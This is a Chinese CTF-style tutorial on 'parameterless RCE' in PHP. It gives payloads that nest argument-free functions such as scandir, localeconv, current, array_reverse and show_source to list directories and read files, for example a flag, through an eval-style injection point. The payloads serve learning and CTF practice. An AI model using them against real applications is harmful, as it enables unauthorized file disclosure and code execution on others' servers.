首页 > 其他分享 >无参数RCE

无参数RCE

时间:2024-03-07 13:44:32浏览次数:16  
标签:show getcwd source 参数 数组 RCE array scandir

无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果

1.获取根目录下文件

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));  //查看
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))); //读取
有一定几率失败

2.获取当前目录下文件

正常的,print_r(scandir('.'));可以用来查看当前目录所有文件名

但是要怎么构造参数里这个点呢,这里介绍几个方法:

(1)localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

 

要怎么取到这个点呢,另一个函数:

current()返回数组中的单元,默认取第一个值

因此payload:print_r(scandir(current(localconv())))

或者使用print_r(scandir(pos(localeconv())));poscurrent的别名

 

读取当前目录文件名

(1)如果要读取最后一个文件

我们可以使用show_source(end(scandir(getcwd())));

或者用readfilehighlight_filefile_get_contents 等读文件函数都可以

(2)介绍一个函数:array_reverse() 以相反的元素顺序返回数组

show_source(current(array_reverse(scandir(getcwd()))));
这样返回的也是第一个文件

(3)如果是倒数第二个 我们可以用

show_source(next(array_reverse(scandir(getcwd()))));
(4)如果不是数组的最后一个或者倒数第二个呢?

我们可以使用array_rand(array_flip())array_flip()是交换数组的键和值,array_rand()是随机返回一个数组

所以我们可以用:

show_source(array_rand(array_flip(scandir(getcwd()))));
多刷新几次 就可以得到flag的位置

 

 

 

 

 

 

 

标签:show,getcwd,source,参数,数组,RCE,array,scandir
From: https://www.cnblogs.com/heck1ng/p/18058733

相关文章

  • nginx rewrite参数详解
    Nginx的rewrite指令用于重写URL,它有几个参数,这些参数定义了如何匹配和重写请求的URL。以下是rewrite指令的常见参数及其说明:Regex:这是一个正则表达式,用于匹配请求的URI。Nginx将使用这个正则表达式来查找与请求URI相匹配的模式。Replacement:这是重写后的URI,可以包含正则表达式......
  • vscode 的sync的问题RequestFailed (UserDataSyncError) syncResource:unknown operat
    024-03-0708:58:24.361[error]RequestFailed(UserDataSyncError)syncResource:unknownoperationId:unknown:Connectionrefusedfortherequest'https://vscode-sync.trafficmanager.net/v1/manifest'.atu.D(c:\Debug\VSCode\resources\app\ou......
  • codeforce 1700-1900
    3.6LonelyMountainDungeons 算贡献算了半天还错了,这种采用容斥可以减少细节处理,代码注释有#include<bits/stdc++.h>usingnamespacestd;#defineendl"\n"#defineintlonglongtypedeflonglongll;voidsolve(){intn,b,x;cin>>n>>b>&......
  • Codeforces Round 931div2补题
    B.YetAnotherCoinProblem真[https://www.bilibili.com/video/BV1o2421M7pV/]不同硬币之间有倍数关系,使得一定数量后的小硬币可以被大硬币替代达到最优方案,而每个小硬币在最优下有可能的数量如下,进行枚举后找到最优方案。1:不多于2个(3个1会被3替代)3:不多于一个(2个3......
  • 1935.Codeforces Round 932 (Div. 2) - sol
    20240306逊哎~打一半去写申请书然后12点睡觉,相对成功!第二天早上起来把赛时发愣的C和F切了。CodeforcesRound932(Div.2)A.EntertainmentinMACCongratulations,youhavebeenacceptedtotheMaster'sAssistanceCenter!However,youwereextremelybore......
  • ChromeOptions 参数介绍
    在使用selenium浏览器渲染技术,爬取网站信息时,默认情况下就是一个普通的纯净的chrome浏览器,而我们平时在使用浏览器时,经常就添加一些插件,扩展,代理之类的应用。相对应的,当我们用chrome浏览器爬取网站时,可能需要对这个chrome做一些特殊的配置,以满足爬虫的行为。1.chromeOptions......
  • js 时间数组如何url传参 和接收参数
    在JavaScript中,如果你想通过URL传递一个时间数组,你需要先将数组转换成字符串格式,因为URL参数只能传输字符串。有多种方式可以实现这个转换,例如使用JSON.stringify()将数组转换成JSON字符串。下面是一个示例,展示了如何将时间数组转换成URL参数,并在另一个页面接收这些参数:发送时间......
  • 实战3-cookie参数acw_sc_v2
    目标网站aHR0cHM6Ly93d3cubHlkaC5jb20vaml0dWFuLw==1.分析网站在网站中看到两个请求,我们想要的数据在第二个请求中分析第二个请求,发现在第二个请求中需要携带两个cookie值分别是acw_tc和acw_sc__v2往上看第一个请求,在第一个请求中发现,服务器会返回cookie值中的acw_tc2.......
  • 【UVM】 【source_code】 uvm_cmdline_processor
    classuvm_cmdline_processor 函数get_arg_values()用于收集命令行(commandline)中匹配的参数,便于后续处理。返回所有匹配上的参数数量,所有匹配上的参数词尾被存放在values[$]中。sourcecodefunctionintget_arg_values(stringmatch,refstringvalues[$]);  int......
  • Salesforce入门级认证!App Builder备考指南
    AppBuilder认证适用于具有在Lightning平台上开发自定义应用程序的经验的个人,备考者通常需要有6个月到1年在Lightning平台或类似技术平台上构建应用程序的经验。AppBuilder认证对备考者的要求AppBuilder认证验证了备考者在数据建模与管理、流程自动化、用户界面、应用开发......